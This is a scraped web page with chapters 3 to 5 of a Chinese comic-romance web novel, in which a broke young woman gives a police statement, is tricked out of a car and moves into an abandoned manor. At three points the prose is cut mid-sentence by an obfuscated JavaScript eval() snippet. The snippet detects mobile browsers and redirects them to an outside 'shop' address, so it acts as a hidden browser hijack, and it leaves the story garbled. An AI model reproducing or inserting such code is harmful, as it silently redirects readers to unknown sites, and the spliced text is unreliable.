《开局误食章鱼第三条腿》 3. 又是你 “怎么又是你?” 容景与也是没想到,值夜班还能遇上新鲜出炉的熟人。 上午才把她送走,怎么晚上又进局子了? 阮棠唉声叹气,双手一摊:“这次真不怪我,提前回家,撞上了小偷啊不,是室友的男朋友。” 容景与:“……人没事就好,喝水,毯子也给你。” “谢谢。”女孩裹好小毯子,小口小口喝着热水,无比乖巧。 这种错觉维持了不到一分钟,她就忍不住攀谈起来:“我什么时候能回家呀?” “录完材料就能走了。”容景与摆弄着桌面的文件,手指间夹着中性笔,肤色与黑胶形成鲜明对比。 他指尖好像有薄茧…… 阮棠有些走神。 “警官你是做什么工作的?”她突然说出一句风马牛不相及的话。 容景与发出一声短促的“嗯?”,语气上扬。 阮棠静静看着他,眼睛幽黑,像某种葡萄。 她也是才想起来,怎么会交通事故和盗窃案件由同一个人负责的? 容景与抬眼,正对上她清澈愚蠢的目光。 警官今年二十七了,也算是有些阅历,这种问题他还真没听到过。 嘴唇动了,但思路有点乱,在警告她没事别瞎打听和澄清自己职责范围之间,他竟然不知道该选哪个…… “队长,笔录开始了吗?” 一道甜美的声音在门口响起,打破了僵局。 进来的是个年纪大约二十出头的女警,进门就解释:“不好意思啊,晚上吃坏肚子了……” 阮棠不由得多看容景与一眼。 容警官是个好人,但他的下属好像挺怵他。 “你来了就开始。”容景与回答。 明明没说重话,但是女警姐姐莫名地红了脸。 “好的。” 女警坐在队长身边,两人和阮棠面对面,笔录准备就绪。这次上来就跳过了身份信息的问题,因为容警官已经帮她填好了。 “说说报案事由。” 容景与负责问,女警在一旁记录。 阮棠言简意赅地说:“晚上回到家,看见家里有陌生男人,我以为是小偷,所以泼了他一桶海鲜……” 容景与询问细节:“他的脸是怎么弄伤的?” 阮棠回答:“我当时对他泼了一桶海水,桶里的章鱼抱他脸上,抠不下来。我帮忙抓下来的时候,已经吸歪了。” “章鱼?”女警的手抖了一下,几乎是零秒反应,看向身旁的队长。 容景与继续问:“你的桶里怎么会有章鱼?” 阮棠正常回答:“我下午去赶海了,刚失业,想省点生活费。” 这里显然存在一个问题。 一个刚失业的人,想省点生活费,怎么会突然选择去赶海? 白越市是个海滨城市不假,但从警局到海边的距离也有二三十公里,她打车去的? 打车费四十起步了。 除非…… 容景与产生了一种大胆的推断。 ——又被她搞到车了! 至于是什么车,都不由得他胡乱联想,只能有一种选择。 毕竟她是真穷。 从他听到阮棠的话,到推断过来她的言下之意,其实也就过了两三秒钟。但是这个话题和本案无关,他没问。 他问了别的:“你是否知道这只章鱼的品种?” 阮棠摇头:“不知道。” 警方去到她家时,只看见满屋狼藉。不中用的男人已经昏过去了,室友更不中用,在短时间内没能对阮棠构成讨价还价。 不过当时就确认过了,她男朋友只是情绪激动而陷入昏迷。 之后作案的章鱼失踪了,目前仍不知去向。 容景与:“不认识的章鱼不要抓,它如果有毒性,就是剧毒。” 他以为这是常识,没想到还要再严肃重申一遍。 大概阮棠也没想到,会因为这种细节被警官教育。 她眼睛微微睁大,委婉地提醒:“警官你知道的,我从小就没了父母,高中差点没念完……” 场面寂静了三秒钟。 真诚是永远的必杀技,她一句话杀死了比赛。 女警干咳一声:“他的事情交代完了。然后你报案是说,你丢了笔记本电脑、两瓶lamer精华水、两瓶HR绷带……等会儿,怎么还有两条丝袜?” 从业不久的女警还没学会藏好情绪。 说到某些奢侈护肤品时,她还只是惊讶,说到丝袜明显不淡定了。 阮棠如数家珍:“对啊,简直是变态。两条丝袜我花了大价钱,就指望靠这个逆天改命的!” 女警没控制住,发出了“啊?”的惊叹声。 人到底怎么靠黑色丝袜逆天改命的? 容景与瞥她一眼,女警噤声了。 “丢失的物品在你室友房间找到了,你还有什么诉求?” 阮棠:“我的护肤品刚买的,找回来就剩一半了,丝袜也没法穿了,肯定要原样赔我。” 女警害怕笑出声,所以捂住了嘴,容警官则是按住太阳穴。 ——她可不是随口乱说,她是有备而来啊! 早在穿越过来后没两天,阮棠就发现了室友爱小偷小摸的习惯。不过那时候家都被偷光了,还都是些开了正品发票的假货,就随她去了。 阮棠本人也没想到,这件事会因为一个乌龙而被捅出来。 她袭击室友的男朋友,最多是个误伤,赔点钱就行了。室友的行为可就构成盗窃了。 毕竟按正品发票的金额算……那堆东西都上万了。 如果阮棠愿意出具谅解书,盗窃量刑会轻一些。 “咳,没事了,后续结果出来我们会通知你的。” 女警姐姐一句话,宣告今晚的笔录告一段落。 阮棠仰头一饮而尽,硬是把杯子里的白开水喝出了老白干的气势。接着不慌不忙叠好毯子,还给容景与。 “给你们添麻烦了。” 站起来的瞬间,阮棠好像又恢复成了为生活发愁的倒霉蛋模样,柔柔弱弱,谁都可以捏一把。 容景与觉得她很特别。 从来没人主动叠过小毯子。 他记起了所有细节,比如阮棠的资料里明确说过,她是七岁那年父母死于车祸,无人愿意抚养的情况下进了福利院。 也许就是这种经历,才让她习惯性地很在意会不会给别人添麻烦…… 容景与站起身:“天黑了,我送你回去。” 这是她万万没想到的。 “蹭警车吗?”阮棠稍微表露出踌躇,接着就同意了,“好耶,又省一笔车费。” 容景与有一瞬间觉得对她的同情是多余的。 女警倒是听懂了,替队长解释:“薛小姐,队长的意思是他要下班了。他可以开车送你,蹭警车是违规的。” 阮棠的第一反应是有点失望。 但话又说回来,这两天警车也坐了有两回了,不新鲜了。 车和男人一样,都是新鲜的好。 再没二话,直到走到容景与的车旁,才重新打开了话匣子。 “容警官上班辛苦了,哪儿好意思再让你开车……”阮棠看着他,眼睛亮晶晶的,“不如让我来开吧。” 容景与:“……” 他没说好或者不好。 毕竟阮棠的手已经拉上了驾驶位的门把手。 黑色奥迪A6,中规中矩的代步车,不过保养得不勤,有些掉漆都没去修补。 欲言又止后,容景与还是选择把钥匙递给她,自己去了副驾。 阮棠顺利上车,零 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14090002|149557||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 帧起手,一套比驾考还标准的动作之后,车往她的出租房绝尘而去。 她还是通过镜子看见的,容景与正望着她,眼中的情绪很复杂。 惊讶?疑惑? 最后回归为平静,放空发呆。 “怎么样,车技没得说吧?”阮棠头也没回,自信地问。 容警官为什么会露出这种眼神?那肯定是被她精湛的技术折服了。 所以上次差点撞上路边的墩子,绝对是意外! 是车不行,不是她技术菜。 容景与的眼神更涣散了,勉强说:“挺好的。” “可以放首歌听不?”阮棠问。 “可以。”容景与将双眼闭了起来。 她会放什么歌? 流行歌曲、英文歌或者是著名神曲逮虾户? 容景与没想到,回响在车内的音乐是古典钢琴曲,来自贝多芬的F大调。 倒不是说她不能听这种。 刻板印象也好,主观臆断也罢,容景与觉得阮棠不是爱听古典乐的性格。 而且他的车,今晚未免过于听话了…… 阮棠开车很稳,两首歌的时间已经到了城中村。她没往小道开,在离家有一段距离的地方把车停下。 “去里面很难调头,就到这里吧。”阮棠按下暂停,音乐一下停了。 起先她还担心容警官太累,在车上睡着了。不过在她话音还未落下时,他就睁开了双眼。 “我送你进去。”容景与说完,顿了顿才补充,“晚上这一带治安不好。” 阮棠没有任何异议,心里只有感恩,并祝福他这辈子吃饭每餐不少于八个菜。 今晚的巷子还算风平浪静,没有夫妻吵架的叫骂声,也没有捉奸打架的,管教孩子的…… “你们当警察的,总是加班到这个点吗?”她若有所思地问。 阮棠注意到时间已经是晚上一点半了,等他到家应该要两点钟。这种地狱作息,容警官都要三十的人了,不会还没有女朋友吧? 容景与的脸色肉眼可见的不愉快。 “没有。”他说。 阮棠小心翼翼:“我说出来了?不好意思,一定是最近压力太大了……” 容景与并不想和她计较,他大她快十岁了,怎么可能跟个小孩计较? 所以他“嗯”了一声,淡淡地说:“没事,我的确没有。” 阮棠松了口气。 快走到家门口,悬着的心终于彻底放下来。 耳边忽然传来一道声音。 “平时你的车停在哪里?” 阮棠随手一指:“那边角落,有个位置停车不要钱!” 开玩笑,她可是月入三千能存两千的狠人,能省的地方一定要省。 容景与幽幽地问:“新车还习惯么?” “好开,空间还大……”阮棠顺理成章地接话,然后又在说到一半时失去声音。 汗流浃背了。 她这车多半经不起查的! 阮棠决定紧急转移话题:“容警官,你真的没有女朋友吗?你看我怎么样?” 话题转得太陡,容景与停下脚步,那种想伸手按太阳穴的冲动又找上他了。 “真的没有。”他又重复一遍,“你很好。” “你很好”三个字差不多是有点咬牙切齿的意味。 阮棠大胆地问:“你还缺司机不?我觉得我能行!” 出乎意料,但又在意料之中。 容景与只能说:“好好找个工作。” 阮棠原本也是试探着一问,现在突然想起来之前被打断的问题。这时候应该是最后的机会了。 “我能不能问问,你到底是做什么工作的?” 男人的眼神起了微妙的变化,但阮棠看不懂。 他说:“还是看看你的新车吧。” 4. 搬家成功 夜深人尽,人也已经走了。 到最后,容景与还是没放过她的车。不过这次他坐上仰望U28的驾驶位,显得相当疲惫。 稍微体验了几分钟,离开时什么话都没多说。 阮棠上楼,回到一片狼藉的住处。地上的虾蟹尽数暴毙。 脑海里有两个声音来回拉扯。 一个说:烤了吧,将就能吃。 另一个说:不中用了,已经发烂发臭了。 阮棠在挣扎之后,还是选择认命地收拾地面。唯一的惊喜是俯下身时,在桌子底下发现了一只消失的章鱼哥。 “你还没跑啊?”阮棠惊讶地看着章鱼。 虽然看不见章鱼的眼睛,她莫名有一种正和章鱼哥四目相对的错觉。 总觉得这只章鱼不太聪明的样子…… 从局子里出来,阮棠总觉得忘记了什么重要的事。现在她想起来了。 原来是忘了蹭容警官的盒饭。 今晚回来,就是为了收拾东西搬家的。倒也不纯粹是因为被偷了东西。 至于被偷的理由,阮棠大概也猜到了。 她一个年轻女孩,开着豪车、昼伏夜出,室友A应该是猜错了她的职业,还以为她用的都是好东西。 阮棠搬家单纯是觉得这地方风水差,再住下去估计还要破财。 她决定连夜提桶跑路。 …… 阮棠翻出从剧组那里白嫖来的黑色防水手套,戴上之后,只觉得全身充满了力量! 再回到章鱼哥身边时,它好像察觉到了杀机,触角一勾,灵活地闪动身体,想要躲回阴暗角落。 来不及了,因为阮棠已经使出了绝技,无情铁手。 她的手抓住章鱼一条腿,它突然剧烈挣扎起来。 剧烈到什么程度呢? 它八只触手挥舞的方向各有不同,几乎是要把自己分裂成八份,各自逃命。墨汁喷了一滩又一滩,她黑色手套都更黑了。 没用。 阮棠就是不肯松手。 章鱼哥用尽所有力气和手段,最终壮士断腕,丢下一条腕足,剩七条触手狼狈逃跑了。 阮棠望着手里的一截断肢若有所思。 听说章鱼有八个大脑,每条触手都能独立思考……它就这样丢下了一个大脑,回去之后不会有什么后遗症吧? 月黑风高,公主大厦内,秦玖手中的红酒杯微微摇晃。 他的嘴角似乎永远挂着一点笑意,没人能让他动容。透过红酒的颜色,那双眼眸中闪过红光。 手机铃声响起时,他不紧不慢地脱掉浴袍。 黑色丝质的衣物落在地上,没能发出一点声响。 微信接通,那头传来的是熟悉的声音。 “秦哥,你说的那个房子,还在不在了?”阮棠的音量陡然变低,“诶,你没穿衣服啊……” 秦玖慢条斯理套上白衬衫,和白日里的精明商人形象判若两人,倒像个斯文的学者。 “抱歉,我以为你发的是语音。”他笑笑,把手机屏幕倒扣在床单上。 阮棠:“……” 她懂,非礼勿视。先让秦哥穿条裤子吧! 秦老板那边一阵衣物摩擦的悉挲声:“久等了,房子还在,方不方便来家里接我?” 阮棠感恩地说:“应该的秦哥,下次请你吃饭。” 电话那头毫无预兆地挂断了。 阮棠:“……” 把话筒贴近耳边,容易发生误触。秦哥肯定是不小心碰到挂断键了。 虽然挂断前她好像听到了笑声,但应当是压力太大出现的错觉。 昼夜温差不算大,但是晚上风急,她被吹得在风中摇曳。被吹感冒之前,她快速把行李和自己都搬上了车。 车窗关上,阮棠觉得闷。 “打开空调。”她用语音操控。 AI回答:【好的,已经为您打开了。】 怪了,车上的冷气…… 阮棠记得这车的空调效果立竿见影,最小档位就很凉爽了。现在却是开了和没开没什么区别。 只有容景与试驾过,难道是他调过档位了? “帮我把空调开到最大档位。” 【已经是第三档了。】 阮棠:…… 秦氏出品,必属破烂。车才开了一天,空调就废了。 也罢,就冲他给介绍房子,该叫他一声秦哥还是要叫的。 按着秦哥给的定位,她大约花了二十分钟的时间开到公主大厦。停车,打开双闪。 还没来得及微信说一声她到了,副驾驶的车门就被人从外面打开。 秦哥白色衬衫加上一条西装裤,看起来怪清瘦。要不是她见识过藏在衬衫下的肌肉,八成就把他当个清澈愚蠢大学生了。 “哥,你身上喷的什么香水啊?”阮棠盯着他问。 秦玖勾起薄唇,嗓音低沉:“你喜欢?” 阮棠面不改色地继续盯:“我是穷鬼,倒贴两百送我。” “……”秦老板不笑了,“去城南郊区,一路往南。” 城南郊区? 以前好像是去过的。 她皱眉,脑子还在运转,肌肉记忆比脑子更快,脚下一点,车先开出去了。 城南郊区……那一片是别墅区。 她在脑海里翻出来了,十天前的一个夜晚,凌晨一点,她接到了一个急单。乘车人愿意出三倍的价钱,就是要去城南郊区。 这种加钱单子,一般都是抢手单,都轮不到她这种刚入行、等级不高的专车司机抢。 但可能那天上班的司机很少吧,单子还真派给她了。 那次打车的是个年轻男人,穿得像开屏的孔雀,从头精致到脚。脸嘛,倒是蛮有姿色。 为什么会对他有印象? 因为这个男的从头到尾都在和不同的女人通话…… 阮棠没有任何职业歧视,反而觉得生活不易,人家也是赶着挣钱。趁着地方偏僻,一路没车,她干脆把车速开上了一百。 “秦哥,是不是快到了?” 阮棠瞄一眼副驾上的男人,就怕他睡着了没人指路。 秦玖“唔”了一声,似乎真的快睡着了,顿了好几秒才说:“已经到了。” “夜半三更,我不方便陪你进去了,你自己一个人没问题吧?” 在阮棠下车之前,听见他堪称体贴的问话。 她摆摆手,毫无负担地说:“那肯定的。” 但他怎么回去呢? 这个时间和地点,几乎是打不到车了。阮棠还在犹豫,主驾车门豁然洞开,她脑袋空空,在没想明白之前就感受到了来自背后的掌力。 勉强稳住身形落地时,秦老贼已经坐上了主驾。 他这是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14090003|149557||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 干什么? 仰望U28瞬间启动,朝着来时的路绝尘而去。 阮棠:“……逆天。” 兜这么大圈子,就为了把车骗回去。秦老板,好一个心机深沉的男人! 关键是还真被他套路到了。 阮棠叹了口气,转过身,眼前的景象再度让她忘记了呼吸。 这根本不是房子,而是一座庄园! 她停车的地方,就是庄园内部。耳边传来水声,她低头看见一池喷泉,水流不大,但还在运行着。 ……也就是说,刚才秦玖那一推,差点把她推进池子里。 房子里的灯还亮着。 不算很明亮,但至少是亮着的。 阮棠觉得,事已至此,先敲门吧。 庄园很老式,没有智能家居门铃,她只能采取古早的敲门方式,老老实实敲了三下门。 “请问有人在吗?” 门很快就开了。 阮棠很意外地发现这是个熟人。——不就是十天前打车的小哥吗? “你……” 打招呼的内容被迫中止,她被开门的小哥紧紧抱住。 “天杀的!终于来个人了……” 阮棠:? 哥们这是有故事啊! “你怎么了?需要我帮你报警吗?”阮棠挺直腰板,反手抱回去,手像撸路边小猫咪一样,给小哥从后脑勺摸到后背。 您猜怎么着,她正好有警官的微信耶! 小哥抬头。 他差不多是要哭出来了。 “别说了,快带我走……” 阮棠礼貌地说明情况:“那就要看你有没有车了。” 年轻男人反应很快:“我打车过来的!” 阮棠“嗯嗯”两声:“劳斯莱斯是吧?” “……应该是,你怎么知道?” 她当然知道啦。甚至还是她亲自开的车呢! 干咳两声,阮棠怜惜地说:“放心。我来了,你就再也不是孤单一人了。” …… 一阵寂静。 小哥的眼神也是清醒了不少。 “你还要抱到什么时候?”他黑着脸提醒。 阮棠松开手,他退后一步到安全距离。 除了他因为尴尬而倒打一耙以外,一切都很自然。 “进来可以,你别……” 年轻男人让开位置,话还没说完,就听见“啪”的声音。他说不出话了。 阮棠看着他,眨巴眼睛问:“别什么?” “别关门。”男人的脸色呈现出活人微死的状态。门已经关闭,再说什么也来不及了。 阮棠踌躇着,不理解地说:“可是外面风大,蚊子也多诶。” 男人的牙咬了又咬,拳头硬了又软。 算了,她一个小姑娘,别和她计较…… 两个人,总比一个人强吧?至少他突然觉得没之前害怕了。 “今天是几号了?”男人竭力冷静下来之后追问。 阮棠说:“十月二十八号。” 她看见男人的脸色一瞬间灰败下去,听见他用难以形容的语气说:“完了,完了……” 阮棠的脸色同样凝重。 一开始以为这小哥遇上了绑架囚禁,还想问他是否需要法律援助。 现在她觉得,小哥的精神状态更是十分堪忧。 5.凶宅其一 阮棠关上门睡得很香。 就算一墙之隔的地方在开impart,那有跟她有jb关系? 两眼一睁就是打工,所以能睡的时候更要睡得踏实。 下午三点,阮棠清醒过来。 窗帘拉得严严实实,光被遮住,以至于她没能意识到时间。打开手机,下意识先进兼职群浏览未读消息。 【诚招住家保姆,为期一到两个月,薪资20k,无保险。】 【要求:早饭7点前准备好,午饭减脂餐,打扫卫生必须细致,雇主有洁癖!】 这条是刚出炉的新鲜消息。 阮棠眉头一皱,感觉事情并不简单。 20k找住家保姆,就白越市是一线城市,价格也相当高了,不如去正经公司找一个。 但她还是点开小窗。 对方网名叫“幸福人生”,头像很配套。 软糖:【姐,我会做饭,打扫房间也没问题。请问什么时候上工?】 幸福人生:【有工作经验吗?】 这年头干点啥都要有工作经验…… 软糖:【有,这是我以前工作的照片。】 紧接着就是一堆家政成果照片,以及减脂餐照片甩过去。 幸福人生:【我们要先试用三天,不合格的话薪资按80%结算。试用期从明天开始,你有空吗?】 兼职群里的消息鱼龙混杂,需要自己辨别。 阮棠只有一个方法。 软糖:【好的,但是我住的地方比较偏僻,能不能先给我一笔路费?】 对面显示输入中,一直输入中。 后来就没有下文了。 阮棠在群里发消息:【出得起一天500的工资,不肯付50的路费。鉴定完毕,骗子无疑。】 在线的群友发了两句“感谢避雷”。 群里的消息越来越多,逐渐就淹没在了聊天记录里。 日行一善,阮棠满意起床。由于听了小哥的劝告,她至今还穿着对方的衣服。 才搬了新家,一时也没有合适的工作。更何况车子被秦玖开走,她连出门的手段都匮乏。 一切都是秦玖的错! 然而就在开门的瞬间,阮棠身体一僵。 过道上倒着的男人,怎么看都是她身上这件外套的原主人。他的脸朝下,右手在前,倒地后应该是曾经挣扎着向前爬过两步。 阮棠敏锐地判断出哪里是案发地点。 目之可及,有明显的血迹。 阮棠:…… 刚睡醒就看见这一幕还是太刺激了。 所以她深吸一口气,默默关上门。掏出手机,在直接报警和先确认小哥死活中犹豫了一分钟。 小哥最后坚持着爬那两步,是想去哪里? 阮棠脑中忍不住冒出一个念头。——他在找她。 耳畔传来敲门声,敲击的声音好久才响一声,实木门发出低沉的闷响。 她下意识松了口气。 不管怎么样,人还活着就好。 打开门,阮棠就被砸得倒退两步,闷哼一声后,两人一齐倒在床上。 都没顾得上心疼刚整理好的床铺,她就被小哥吓得屏住呼吸。 眼耳口鼻,七窍流血。 她神情严肃,伸手在他额头探了探,温度偏高。再探鼻息,还在喘气。 “你还听得见吗?”阮棠的巴掌重重拍在他脸上。 有的病来势汹汹,生死之间的间隔可以用分钟来计算。她下手的时候,一点力气也没保留。 小哥脸上多了几根手指印,但好歹能开口说话了。 “衣服……衣服……” 阮棠贴得很近,才勉强听清他在说“衣服”。 “衣服是吧?懂了!”她回答得相当自信。 尽管他只说了两个字,但这种时候显然不可能是问她把衣外套要回来。他看上去都要猝死了,这时候要衣服有什么用? 阮棠二话没说,伸手就摸上了他的喉结。 小哥的穿着可以说是恪守男德,扣子扣到最上面,那生病的时候肯定是喘不过气啊! 对发烧的人来说,她的指尖还是有些凉了,短时间的摸索中,她听见小哥发出的短促的呻吟。 “搞到几点啊昨晚?”阮棠边脱边抱怨,也不管对方还能不能回应。 连续解五六颗扣子,她的耐心终于告罄,手上动作逐渐粗暴。不知道又刮蹭到了什么地方,让对方又难受地连声抽气。 阮棠有点不好意思。 她的手还挺糙的,但不耽误干活儿。 “放松,很快就好。” 伴随着她的安慰,他整个人被拉坐起来,阮棠按着他肩膀,褪掉了他的衣袖。 只差最后一步了。 她俯身,取回自己的薄被,往他身上盖。 一双琥珀色的眸子在极近的距离静静望着她。阮棠突然发现她抽不开身,发烫的胳膊环住了她的脖颈。 “你是谁?”他茫然地问。 如果素质再低一点,阮棠真想回答“叫爹就行”。 可惜她是个老实人。 “我叫阮棠。”她一动不动地和他对视着,分不清他们到底谁是猎人,所以一直盯着。 他的目光始终迷离,让她无端联想到上辈子看过的狗血电视剧。 就好像如果他失去意识,就会真正死去,所以要不停陪他说话。 “是白糖的糖么?”他问。 阮棠说:“我写给你。” 写在手心是可以接受的,但他不肯松手。于是她选择隔着被子,在他胸口写下“阮棠”两个字。 一笔一划,在离心脏和命门极近的地方,她写得有种不顾他人死活的严肃认真。 人在贴太近的时候,是很难控制住不接吻的。 他们的接触早已超过了必要限度,琥珀色眼瞳中注满了情愫。 在他眼中,她是谁? 阮棠觉得这也不能怪她趁人之危,不管怎么说,也是他主动贴上来的。 午后的日光下,她被人抱在怀里,意识仿佛抽离到了更高的维度,清醒地看着他们发疯。 “你叫什么?”这时候她还记得礼尚往来。 “乐珩。”他的脑袋埋在被子里,回答得很快。 阮棠没问这是哪两个字。 她似乎原本就知道。 “听我说,乐珩。”阮棠抬手触摸他后脑的黑色发梢,没让他的唇在再往下轻啄,“睡一觉,你的烧就该退了。” 青年动作一顿,伏在她身上,竟真的沉沉睡去。 阮棠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14168457|149557||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也不知道他到底生的是什么病,但结合他特殊的职业,并不能排除他是被人下药了这种可能性。 像她这种善良的女人,肯定是见不得长相优渥的小哥哥受苦的。 所以她帮了他一把,并且打算救人救到底。 喂了点药,阮棠离开了房间。 天气晴朗,从窗户向外看,总觉得整个庄园处处衰败。 地方越大,反而越显荒凉。 她也不知道这地方多久没住人了,既然她住进来,肯定是要好好收拾。 厨房就是第一个受害者! 餐厅就是第二个! 手机却响了。 “秦老板……”阮棠接起视频通话,面无表情地说,“昨晚睡得好么?” 秦玖在卧室,半坐半躺,高大的身子窝在单人躺椅上,身上是熟悉的黑色睡衣。 他摇晃着红酒杯,温和地说:“一想到我的朋友还在受苦,我简直觉都睡不着了。” “你骗鬼啊!”阮棠音量都高了一度,“是睡到现在才睁眼吧!” 秦玖打了个哈欠,矢口否认:“怎么会,我一睁眼就给你准备了生存大礼包,现在应该都送到家门口了。” 听他说得有鼻子有眼的,还挺像有那么回事。 “倒是把车给我开回来啊!”阮棠挠挠头,将信将疑,但已经不太生气了。 秦玖微笑。 他总是表现出和气生财的假象,其实压根不在乎她在说什么。 “这座庄园还住得惯吗?”秦老板关切地问。 阮棠不得不承认:“房子还不错,但是这里太乱了,昨晚还看见一群人聚众银啪……能不能来个人管管吗?我真要报警了。” “他们不管的。”秦玖说,“你现在住的庄园叫绥园,早就是三不管地带了。” 阮棠脑中灵光一闪。 “也就是说,没人收房租是吧?” 秦玖摆弄着酒杯,从头到尾一口也不喝。在这种细节上,他考虑得永远不如阮棠周全。 “不仅没人收房租,你要是成为最狠的那一个,甚至可以收别人的房租……不过,这就要看你有没有本事了。” 阮棠愣了一会儿,试探着问:“就是说,我要把这座庄园里的住户全清退?” “……”秦玖都有点惊讶了,“也可以这么说?” “然后呢?”阮棠问。 秦玖郑重地说:“然后转赠合同生效,你会成为庄园的新主人。” 阮棠:“……行,感谢秦哥给我这个机会。从今以后,你就是我亲哥!咱爸妈什么时候过生日,一定要收我一份大礼。” “啊?” 酒杯里的红色液体剧烈摇晃,秦玖皱眉,“爸妈?” 到底是怎么扯上爸妈的? 阮棠真情实感对着视频鞠了一躬,如果可以,她也愿意给秦玖的爸妈磕一个。 “主要是感谢他们,生出这样人美心善的儿子。” “功德无量啊功德无量!” “不说了,秦哥,这套房子要是拿不下来,都对不起您半夜陪我跑这么远……先挂了,改日再叙。” 秦玖生平第一次被人挂断电话。 他端着酒杯,对着南方,像是看见了她的脸。 希望她过几天还能笑得出来。